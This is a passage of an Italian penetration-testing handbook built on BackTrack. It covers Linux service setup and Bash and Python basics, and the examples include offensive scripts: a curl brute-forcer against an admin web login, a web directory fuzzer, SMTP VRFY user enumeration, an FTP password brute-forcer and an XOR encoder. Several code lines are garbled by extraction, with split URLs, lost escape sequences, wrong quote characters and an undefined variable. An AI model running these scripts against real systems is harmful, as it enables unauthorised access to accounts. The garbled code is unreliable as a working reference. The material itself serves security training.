This document discusses penetration testing techniques including information gathering, exploiting services like FTP, DNS, and HTTP, client-side attacks, password cracking, and gaining remote access. It introduces the Linux distribution BackTrack which is used as a platform for penetration testing. Specific tools mentioned include Nmap, TORtunnel, Hydra, sqlmap, and Metasploit.

1. LUIGI CAPUZZELLO
Sicurezza Informatica
Black Box Penetration test
Versione: 2.0
Luigi Capuzzello
17/11/2013
http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a
http://www.slideshare.net/luigicapuzzello
@FisherKasparov
luigi.capuzzello
Il documento si propone di analizzare in dettaglio le fasi di un penetration test (information gathering,
ricerca exploit, client side attack, password cracking, backdoor).
La distribuzione GNU/Linux utilizzata come piattaforma di base per eseguire i penetration test è BackTrack.

2. Backtrack Basic.
Sommario
Backtrack Basic.................................................................................................................................... 3
Services ............................................................................................................................................ 3
Linux: alcuni comandi utili. ............................................................................................................. 5
Basic: mount device / network share ........................................................................................... 5
Installare aggiornare un programma. ......................................................................................... 5
Elenco comandi comuni. .............................................................................................................. 5
Bash Environment ............................................................................................................................ 8
Variabili ....................................................................................................................................... 8
Passaggio di parametri ................................................................................................................. 8
User Input ..................................................................................................................................... 8
Bash Trap Command ................................................................................................................... 8
Array ............................................................................................................................................ 9
Leggere un file e metterlo in un Array ......................................................................................... 9
if statement ................................................................................................................................... 9
For statement ................................................................................................................................ 9
Arithmetic Comparison ................................................................................................................ 9
String Comparison ..................................................................................................................... 10
Bash File Testing ....................................................................................................................... 10
Funzioni ..................................................................................................................................... 10
Alcuni esempi di comandi interessanti ...................................................................................... 11
python environment ....................................................................................................................... 15
Rendersi invisibili. ............................................................................................................................. 18
iptables ........................................................................................................................................... 18
TORtunnel: installazione ............................................................................................................... 18
TORtunnel: nmap ........................................................................................................................... 19
TORtunnel: hydra .......................................................................................................................... 19
TORtunnel: sqlmap ........................................................................................................................ 19
TORtunnel: firefox ......................................................................................................................... 19
scansione porte ............................................................................................................................... 19
Information Gathering........................................................................................................................ 20
Service Information Gathering........................................................................................................... 21
Nmap .............................................................................................................................................. 21
FTP (21) ......................................................................................................................................... 21
DNS (53). ....................................................................................................................................... 21
SNMP (161) ................................................................................................................................... 21
SMTP (25)...................................................................................................................................... 21
SMB (139 - 445) ............................................................................................................................ 21
HTTP (80) (scanning delle reti) .................................................................................................... 22
Verifica iniziale .......................................................................................................................... 22
XSS: Cross Site Scripting. ......................................................................................................... 23
XSRF: Cross Site Reference Forgery. ....................................................................................... 24
Path Traversal Attack. ................................................................................................................ 24
SQL Injection. ............................................................................................................................ 25
SQL Injection: sqlmap: .............................................................................................................. 25
In manuale .................................................................................................................................. 25
SQL Injection: MySQL .............................................................................................................. 25
SQL Injection: Access ............................................................................................................... 25
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3. Backtrack Basic.
Exploit: ricerca vulnerabilità note ...................................................................................................... 26
Exploit: eseguire ................................................................................................................................ 26
Nessus e Metasploit ....................................................................................................................... 26
Metasploit autopwn ........................................................................................................................ 26
Metasploit....................................................................................................................................... 26
Meterpreter ................................................................................................................................. 26
da siti web ...................................................................................................................................... 26
Client side Attack ............................................................................................................................... 27
aurora / autoPWN (payload) .......................................................................................................... 27
!!!! iniettare trojan in eseguibile..................................................................................................... 27
smb_relay (payload) ....................................................................................................................... 27
smb sniff password......................................................................................................................... 28
Password Cracking ............................................................................................................................. 29
Online password ............................................................................................................................. 29
John come dizionario ................................................................................................................. 29
Offline password ............................................................................................................................ 30
Cosa fare dopo che ho una shell......................................................................................................... 31
subito … ......................................................................................................................................... 31
con Tftp (no in vista e 7) ................................................................................................................ 31
con Ftp............................................................................................................................................ 31
DEBUG.exe (no 7) ......................................................................................................................... 32
Vb script ......................................................................................................................................... 32
Internet Explorer ............................................................................................................................ 32
wget ................................................................................................................................................ 32
Shell su macchina non routable: ssh tunneling. ............................................................................. 33
Pulire le tracce lasciate. ...................................................................................................................... 34
Network Fun (pwb3.doc) ................................................................................................................... 35
Netcat ............................................................................................................................................. 35
Port redirection: rinetd ................................................................................................................... 35
Encapsulation - stunnel .................................................................................................................. 36
HTTP CONNECT Tunneling ........................................................................................................ 37
ProxyTunnel ................................................................................................................................... 37
SSH Tunneling ............................................................................................................................... 38
Chiave pubblica e privata ............................................................................................................... 38
SSH: configurare con chiave pubblica e privata ............................................................................ 39
Appendice A: Service exploit ............................................................................................................ 40
Appendice B: siti utili. ....................................................................................................................... 41
Appendice C: IRC command. ............................................................................................................ 42
Appendice D: crack WEP/WPA protocol con BackTrack................................................................. 43
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4. Backtrack Basic.
Backtrack Basic.
La distrubuzione BackTrack consente di attivare e disattivare facilmente tutti i principali servizi e le applicazioni server
che servono per realizzare un penetration test.
Services
ENTRARE IN RETE
Per farlo è necessario settare un indirizzo IP valido
root@bt:~# ifconfig eth0 192.168.0.4/24
root@bt:~# route add default gw 192.168.0.1
root@bt:~# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
Definire il server DNS:
root@bt:~# echo nameserver 192.168.0.1 > /etc/resolv.conf
Eventualmente collegarsi ad un access Point wireless:
root@bt:~# iwconfig eth1 essid sygest key 123451234512341234ABCDABCD channel 11
DHCP:
Se esiste un server DHCP valido allora è sufficiente:
root@bt:~# dhclient eth0
APACHE
root@bt:~# /etc/init.d/apache2 start
root@bt:~# /etc/init.d/apache2 stop
SERVER FTP
Attivo il database del server pureFTP
# pure-pw mkdb
# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB
# nano /etc/pure-ftpd/conf/PAMAuthentication
Cmbiare ‘yes’ in ‘mp’
E’ ora necessario abilitare il file pdb; per farlo è necessario fermare il server per evitare errori facendo partire servizi
su porte che sono già I uso.
# /etc/init.d/pure-ftpd stop
# /usr/sbin/pure-ftpd -j -lpuredb:/etc/pure-ftpd/pureftpd.pdb &
# /etc/init.d/pure-ftpd start
# chmod 777 /ftphome/
creo un nuovo utente ftp:
1. utente hacker
2. appartenente al gruppo ftpuser
3. con home directory /ftphome/
#pure-pw useradd hacker –u ftpuser –d /ftphome/
Inserisco l’utente creato nel database con
#pure-pwd mkdb
Faccio partire il server FTP
#/etc/init.d/pure-ftpd restart
SAMBA CLIENT
#smbclient macchina_remotacartella – U <utente definito sulla macchina (non di dominio)>
Get: per scaricare i file
Put: per uplodare i file
SAMBA SERVER
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5. Backtrack Basic.
-
Configuro /etc/samba/smb.conf in modo da condividere una cartella
[global]
workgroup = <gruppo definito sulla macchina>
server string = foo
security = user
load printers = yes
log file = /var/log/samba.%m
max log file = 50
socket option = TCP_NODELAY
[home]
comment = Home Directory
path = /home/luigi/
valid users = sambausr luigi
writable = yes
L'esempio illustrato sopra consente agli utenti sambausr e luigi di leggere e scrivere nella directory
/home/luigi, sul server Samba da un client Samba.
-
Faccio partire samba server
# service smb restart
SSH SERVER
root@bt:~# sshd-generate
(la prima volta)
root@bt:~# /etc/init.d/ssh start
SSH CLIENT
Supponiamo di voler fare un collegamento da ‘mypc’ alla macchina ‘work’ passando dal gateway ‘gate’ (su cui gira
sshd).
Da mypc eseguo:
mypc# ssh –p 10022 –l root –L 7777:work:25 gate cat
Apro una connessione ssh
con utente root su ‘gate’ (porta 10022) ed eseguo il commando cat (che mi consente di tenere la sessione aperta).
–L : ridirigo tutto ciò che mando alla porta 7777 di mypc sulla porta 25 di work.
Attivando il comando mi verrà chiesta la password di root su ‘gate’.
Una volta creato il tunnel lo posso usare da ‘mypc’ con comandi come:
mypc# telnet 127.0.0.1 7777 (mi collega alla porta 25 di work)
TFTPD
Lo faccio partire su una determinate cartella e porta
root@bt:~# atftpd --daemon --port 69 /tmp
Per prelevare file faccio:
#tftp -i <IP remoto> GET <file>
VNC SERVER
Parte sulla porta 5901 e ha bisogno di una password per poter essere acceduto
root@bt:~# vncserver
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6. Backtrack Basic.
Linux: alcuni comandi utili.
Segue un elenco di alcuni dei comandi linux che vengono utilizzati più di frequente.
L’elenco è molto sintetico; esula dalla seguente trattazione la definizione dettagliata dei concetti di base che sottendo
l’utilizzo dei comandi.
Basic: mount device / network share
#fdisk –l (visualizzo tutti i dispositivi che il kernel vede)
#mount /dev/hda1 /mnt/hda1
#ls -l /mnt/hda1
Installare aggiornare un programma.
Con codice sorgente:
tar zxvf program.tar.gz
cd to the new program folder
./configure
make
su root
make install
make clean
make distclean
pacchetto rpm
rpm -i /doveeilfile/nome.rpm
rpm -U /doveeilfile/nome.rpm
rpm -e /doveeilfile/nome.rpm
#per installare il pacchetto
#per fare un update del pacchetto
#per disinstallare un pacchetto
pacchetto .deb
dpkg -i ./percorso/nomepacchetto.deb
dpkg -r ./percorso/nomepacchetto.deb
yum e apt-get
apt-get update
yum update
#per installare un pacchetto
#per rimuovere un pacchetto
#aggiornamento del repository (elenco sorgenti /etc/apt/sources.list)
il file per configurare apt-get è in /etc/apt/source.list
#aggiornamento del repository
apt-cache search squirrelmail
yum search squirrelmail
#Ricerca all'interno del database dei pacchetti
# Ricerca all'interno del database dei pacchetti
yum install tcpdump
apt-get install tcpdump
#Installare un pacchetto
#Installare un pacchetto
yum remove tcpdump
apt-get remove tcpdump
#rimuove un pacchetto
#rimuove un pacchetto
svn: sistema di controllo versione Subversion
per estrarre una cartella dal repository (co sta per check out)
mv programming programming-bk
svn co file:///home/mysurface/repo/programming_repo programming
per estrarre un file dal repository
svn export file:///home/mysurface/repo/programming_repo/c/curses/matrix.cc
Elenco comandi comuni.
alias elenco ‘ls –la’
-il comando ‘elenco’ corrisponde a ‘ls –la.
Per copiare parti di memoria e salvarle su file è necessario utilizzare il comando dd..
Ad esempio se voglio salvare il MBR devo utilizzare il comando:
#dd if=/dev/hda of=mbrwindow count=1 bs=512
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7. Backtrack Basic.
Per ripristinare il MBR danneggiato devo
#dd if= mbrwindow of=/dev/hda count=1 bs=512
Per testare le dimensioni di una cartella posso fare:
#du -ah --max-depth=1 /
Per visualizzare le prime righe di un file:
#head –n <nr righe> file
Librerie dinamiche (.so): ldd - ldconfig
Le librerie associate ad un programma possono essere:

Statiche (.sa):

Dinamiche (.so):
Posso verificare quali librerie non sono caricate all’interno del programma con ldd
#ldd /path/<programma>
Se il mio programma non viene eseguito a causa di collegamenti alle librerie esterne, per risolvere il problema posso
fare in vari modi

#ldconfig

metto il path della libreria che il programma non trova in ‘/etc/ld.so.conf’ ed eseguo ancora ldconfig

metto il path della libreria nella variabile d’ambiente ‘LD_LIBRARY_PATH’
setenv LD_LIBRARY_PATH /Path/alla/mia/library/
Moduli (.ko): modprobe
Per visualizzare tutti i moduli che ho a disposizione:
#modprobe -l
Se non trovo il modulo che mi serve allora devo ricompilare il kernel!
Per caricare un modulo e le sue dipendenze utilizzo il comando modprobe.
Ad esempio se cerco le dipendenze del modulo zd1211
# modprobe zd1211
Per caricare tutti i moduli:
# modprobe -a
Per scaricare un modulo basta (tornando al caso precedente):
# modprobe –r zd1211
rm –r <cartella>
Mi consente di cancellare una cartella e tutte le sottocartelle.
tail –f <nome file>
Visualizza le ultime linee di un file. Con l'opzione "-f" visualizza le ultime righe.
uname
Restituisce informazioni relative a:
# uname –r
la versione del kernel in uso
# uname –p
il tipo di processore in uso
# uname –a
tutte le informazioni
basename - dirname
#basename /usr/idrogeno/ossigeno
#ossigeno
#dirname /usr/idrogeno/ossigeno
#/usr/idrogeno
find /etc –name hosts.* –print
Ricerca file di qualsiasi tipo nel filesystem.
#groupadd mioGruppo
Per creare un nuovo gruppo basta
#useradd mioUtente –c Commento –d /mia Home –g mio Gruppo
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8. Backtrack Basic.
Creo l’utente ‘mioUtente’ con un commento descrittivo ‘Commento’ con la home in ‘MiaHome’ e appartenente al
gruppo ‘Gruppo’
Per dare una password all’utente farò:
#passwd mioUtente suaPassword
Per cancellare gli utenti e i gruppi uso
#groupdel
#userdel
namei
Scompone un path nei suoi elementi e li analizza uno per uno identificandoli come:

f: il pathname che si sta analizzando;

d directory;

l link simbolico;

s socket;

b block device (dispositivo a blocchi);

c character device (dispositivo a caratteri);

- file normale;

? errore.
Esempi
$ namei /usr/bin/X11
Genera il seguente risultato:
f: /usr/bin/X11
d/
d usr
d bin
l X11 -> ../X11R6/bin
d ..
d X11R6
d bin
[tar – gzip – zip].
#tar –cvf MiaCartella.tar MiaCartella
#tar –xvf MiaCartella.tar
gzip NomeFile
gunzip NomeFile.gz
 ottengo NomeFile.gz
 ottengo NomeFile
zip NomeFile
unzip NomeFile.zip
 ottengo NomeFile.zip
 ottengo NomeFile
grep
#grep Parola /etc/ -r
-cerca ‘Parola’ all’interno di tutti i file di /etc e in tutte le sottocartelle (-r)
Cut - awk
#echo “oggi:dopo:la messa:vado a casa” | cut –d : -f 3 preleva ‘la messa’
cut -d ' ' -f2,3 filename
è equivalente a
awk -F'[ ]' '{ print $2, $3 }' filename
il vantaggio è che posso invertire l’ordine degli addendi:
awk -F'[ ]' '{ print $3, $2 }' filename
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9. Backtrack Basic.
Bash Environment
La definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi.
Variabili
#!/bin/bash
STRING="HELLO WORLD!!!"
echo $STRING
Passaggio di parametri
#!/bin/bash
# use predefined variables to access passed arguments
#echo arguments to the shell
echo $1 $2 $3 ' -> echo $1 $2 $3'
# We can also store arguments from bash command line in special array
args=("$@")
#echo arguments to the shell
echo ${args[0]} ${args[1]} ${args[2]} ' -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]}'
#use $@ to print out all arguments at once
echo $@ ' -> echo $@'
# use $# variable to print out
# number of arguments passed to the bash script
echo Number of arguments passed: $# ' -> echo Number of arguments passed: $#'
User Input
#!/bin/bash
echo -e "Hi, please type the word: c "
read word
echo "The word you entered is: $word"
echo -e "Can you please enter two words? "
read word1 word2
echo "Here is your input: "$word1" "$word2""
echo -e "How do you feel about bash scripting? "
# read command now stores a reply into the default build-in variable $REPLY
read
echo "You said $REPLY, I'm glad to hear that! "
echo -e "What are your favorite colours ? "
# -a makes read command to read into an array
read -a colours
echo "My favorite colours are also ${colours[0]}, ${colours[1]} and ${colours[2]}:-)"
Bash Trap Command
#!/bin/bash
# bash trap command
trap bashtrap INT
# bash clear screen command
clear;
# bash trap function is executed when CTRL-C is pressed:
# bash prints message => Executing bash trap subrutine !
bashtrap()
{
echo "CTRL+C Detected !...executing bash trap !"
}
# for loop from 1/10 to 10/10
for a in `seq 1 10`; do
echo "$a/10 to Exit."
sleep 1;
done
echo "Exit Bash Trap Example!!!"
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10. Backtrack Basic.
Array
se myHost vale www.target.com
allora splitto e carico in un array
myHost=$1
hostPart=$(echo $myHost | tr "." "n")
for x in ${hostPart[@]}
do
echo $x
done
Leggere un file e metterlo in un Array
#!/bin/bash
# Declare array
declare -a ARRAY
# Link filedescriptor 10 with stdin
exec 10<&0
# stdin replaced with a file supplied as a first argument
exec < $1
let count=0
while read LINE; do
ARRAY[$count]=$LINE
((count++))
done
echo Number of elements: ${#ARRAY[@]}
# echo array's content
echo ${ARRAY[@]}
# restore stdin from filedescriptor 10
# and close filedescriptor 10
exec 0<&10 10<&-
if statement
#!/bin/bash
directory="./BashScripting"
# bash check if directory exists
if [ -d $directory ]; then
echo "Directory exists"
else
echo "Directory does not exists"
fi
For statement
#!/bin/bash
for (( c=1; c<=5; c++ ))
do
echo "Welcome $c times"
done
Arithmetic Comparison
#!/bin/bash
# declare integers
NUM1=2
NUM2=2
if [ $NUM1 -eq $NUM2 ]; then
echo "Both Values are equal"
else
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11. Backtrack Basic.
echo "Values are NOT equal"
fi
-lt
-gt
-le
-ge
-eq
-ne
<
>
<=
>=
==
!=
String Comparison
#!/bin/bash
#Declare string S1
S1="Bash"
#Declare string S2
S2="Scripting"
if [ $S1 = $S2 ]; then
echo "Both Strings are equal"
else
echo "Strings are NOT equal"
fi
==
!=
<
>
-n s1
-z s1
Equal
not equal
less then
greater then
string s1 is not empty
string s1 is empty
Bash File Testing
-b filename
-c filename
-d directoryname
-e filename
-f filename
-G filename
-g filename
-k filename
-L filename
-O filename
-r filename
-S filename
-s filename
-u filename
-w filename
-x filename
Block special file
Special character file
Check for directory existence
Check for file existence
Check for regular file existence not a directory
Check if file exists and is owned by effective group ID.
true if file exists and is set-group-id.
Sticky bit
Symbolic link
True if file exists and is owned by the effective user id.
Check if file is a readable
Check if file is socket
Check if file is nonzero size
Check if file set-ser-id bit is set
Check if file is writable
Check if file is executable
Funzioni
!/bin/bash
# BASH FUNCTIONS CAN BE DECLARED IN ANY ORDER
function function_B {
echo Function B.
}
function function_A {
echo $1
}
function function_D {
echo Function D.
}
function function_C {
echo $1
}
# FUNCTION CALLS
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12. Backtrack Basic.
# Pass parameter to function A
function_A "Function A."
function_B
# Pass parameter to function C
function_C "Function C."
function_D
Alcuni esempi di comandi interessanti
Elaboro contenuto pagina web
#!/bin/bash
wget http://www.offsec.com/pwbonline/icq.html -O icq.txt -o /dev/null
grep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u > icq-srv.txt
ricavo dal file gli IP (ciclo for)
#!/bin/bash
for hostname in $(cat icq-srv.txt);do
host $hostname
done
chiedo dati all’utente
#!/bin/bash
echo "Please enter Class C IP network range:"
echo "eg: 194.29.32"
read range
for ip in `seq 1 254`;do
host $range.$ip |grep "name pointer" |cut -d" " -f1,5 #prendo il campo 1 e 5
done
Prendo dati all’avvio della shell
#/bin/bash
# Simple Zone Transfer Bash Script
# $1 is the first argument given after the bash script
# Check if argument was given, if not, print usage
if [ -z "$1" ]; then
echo "[*] Simple Zone transfer script"
echo "[*] Usage : $0 <domain name> "
echo "[*] Example : $0 aeoi.org.ir "
exit 0
fi
funzioni e if statement (multisploit.sh)
#!/bin/bash
# execute auxiliary script about metasploit
# the ini file are obtained from a 'search ftp' and a 'seach smb' on metasploit
msfconsole
function myinstr(){
#si="ciao mamma come stai"
#st="mammasss"
si="$1"
st="$2"
sf=${si##*$st}
#echo ${#sf}
#echo ${#si}
if [ ${#sf} == ${#si} ]; then
#echo ">>>>>>>>> stringa NON trovata"
return 0
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13. Backtrack Basic.
else
#echo ">>>>>>>>> stringa trovata"
return 1
fi
}
if [ -z "$5" ]; then
echo "[*] Execute multi auxiliary scanner on metasploit"
echo "[*] Usage : $0 <Target IP> <Target Port (Nr | x)> <Target SO (linux | windows)>
<auxiliary scanner for (ssh | ftp | smtp | tftp | http | pop3 | smb | snmp | mysql |
mssql | oracle | vnc | custom)> <Threads Number>"
echo ""
echo "[*] Example : $0 192.168.11.145 x linux smb 5"
echo ""
exit 0
fi
echo
echo
echo
echo
echo
echo
echo
""
"============================="
"="
"= TARGET $1:$2"
"= protocol: $4"
"="
"============================="
#echo "so do you want to test $1:$2"
#echo "SO: $3"
#echo "Protocol: $4"
for aux in $(cat "multisploit_$4.ini" | cut -d" " -f4);do
if [ "$2" == "x" ]; then
#No specified port I take the default port
mycommand="$aux RHOST=$1 RHOSTS=$1 THREADS=$5 E"
else
mycommand="$aux RHOST=$1 RHOSTS=$1 RPORT=$2 THREADS=$5 E"
fi
#if SO is linux then I skip all auxiliaries that contain dos or windows
if [ "$3" == "linux" ]; then
skip="0"
myinstr "$aux" "windows"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
else
myinstr "$aux" "dos"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
fi
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
fi
#if SO is windows then I skip all auxiliaries that contain linux
if [ "$3" == "windows" ]; then
skip="0"
myinstr "$aux" "linux"
return_val=$?
if [ "$return_val" == "1" ]; then
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14. Backtrack Basic.
skip="1"
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
fi
#salto tutti i fuzzer
skip="0"
myinstr "$aux" "fuzzer"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
if [ "$mycommand" != "" ]; then
echo ""
echo "executing ... $aux"
/pentest/exploits/framework3/msfcli $mycommand
fi
done
Esempio di utilizzo di curl (user:password)
Dizionario: ftp://ftp.openwall.com/
#!/ bin/ bash
# PAINSEC web login fuzzer used in "How Strong is your Fu?
if [ $# -ne 1 ]
then
echo " Usage : `basename $0 ` <dictionary >"
exit -1
fi
# We loop all over the dictionary
for i in `cat $1 `
do
# We know the user is admin ...
curl -u admin :$i http :// www1 .noob - filter .com/ dotDefender > tmp 2> / dev / null
# " Required " is our blind keyword
if grep Required tmp > /dev / null ; then
echo " Not $i ... "
else
# Good news :)
echo " Found ! $i"
exit
fi
done
rm tmp
Esempio di curl (loop sulle cartelle)
Dizionario: ftp://ftp.openwall.com/
#!/ bin/sh
# PAINSEC , Web fuzzer developed for How Strong is Your Fu?
# Check syntax
if [ $# -ne 2 ]
then
echo " Usage : `basename $0 ` <dictionary > <output file >"
exit -1
fi
echo -n "" > temp . txt
# Loop over all dictionary
Luigi Capuzzello
13

15. Backtrack Basic.
for i in `cat $1 `
do
# Get the page , dump the header to " header . txt "
curl -D header .txt http :// localhost :8080/ $i > / dev/ null 2> / dev / null
# Write header status to screen and file
echo -n -e "$ittt"
cat header . txt | head -n 1
echo -n -e "$itt" >> temp . txt
cat header . txt | head -n 1 >> temp . txt
done
# Finished , remove temporal files and save no -404 results in output file
rm header . txt
cat temp . txt | grep -v 404 > $2
rm temp . txt
Luigi Capuzzello
14

16. Backtrack Basic.
python environment
Anche in questo caso la definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed
intuitivi esempi.
Connessione alla porta 25 e verifico se funziona il commando VRFY
- socket
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect=s.connect(('192.168.0.10',25))
# Recieve the banner
banner=s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + 'rn')
result=s.recv(1024)
print result
# Close the socket
s.close()
Questo script controlla se un elenco di IP (presi da file di testo) rilascia le email di un elenco di nomi (presi
da file di testo):
- Socket
- Prelevare dati da input
- Lettura da file
- array
#!/usr/bin/python
import socket
import sys
import fileinput
import array
if len(sys.argv) != 3:
print "Usage: smtp_vrfy.py <server_list.txt> <name_list.txt>"
sys.exit(0)
arrip=[]
arrnomi=[]
arrris=[]
# Connect to the Server prelevato da file
for ipsrv in fileinput.input(sys.argv[1]):
arrip.append(ipsrv)
#Controllo ogni nome possibile
for nome in fileinput.input(sys.argv[2]):
arrnomi.append(nome)
for elnome in arrnomi:
for elip in arrip:
print elnome + " " + elip
# Create a Socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#print ipsrv
connect=s.connect((elip,25))
## Recieve the banner
banner=s.recv(1024)
print banner
## VRFY a user
#s.send('VRFY ' + sys.argv[1] + 'rn')
s.send('HELO test@thinc.localrn')
Luigi Capuzzello
15

17. Backtrack Basic.
result=s.recv(1024)
s.send('VRFY '+ elnome + 'rn')
result=s.recv(1024)
if result.find('250')>=0:
#ho trovato qualche cosa
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
arrris.append(result)
print result
## Close the socket
s.close()
print ""
print ""
print "================="
print "AT THE END"
print "these are the results"
for elris in arrris:
print elris
Questo script fa brute force su FTP
- definizione delle funzioni
- lettura da file
#!/usr/bin/python
import socket
import re
import sys
def connect(username,password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*] Trying " + username + ":" + password
s.connect(('192.168.0.112',21))
data = s.recv(1024)
s.send('USER ' + username + 'rn')
data = s.recv(1024)
s.send('PASS ' + password + 'rn')
data = s.recv(3) #prendo I primi 3 caratteri e basta!!!
s.send('QUITrn')
s.close()
return data
username = "ftp"
f=open(‘pass.txt’)
lines=f.readlines()
f.close()
for line in lines:
attempt=connect(username,line)
if attempt == "230":
print "[*] Password found: "+ password
sys.exit(0)
questo script crea una funzione xor:
- creare e usare funzioni
#!/usr/bin/python
#coded by sinn3r
import socket, sys
## XOR routine
def xorme(data):
input = data
output = ""
for char in input:
tmp = char.encode("hex")
key = "x04".encode("hex")
int_byte = int(tmp, 16)
int_key = int(key, 16)
xor = int_byte ^ int_key
output += chr(xor)
return output
buffer = sys.argv[1]
Luigi Capuzzello
16

18. Backtrack Basic.
buffer = buffer + "rnrn"
xor_buffer = xorme(buffer)
Luigi Capuzzello
17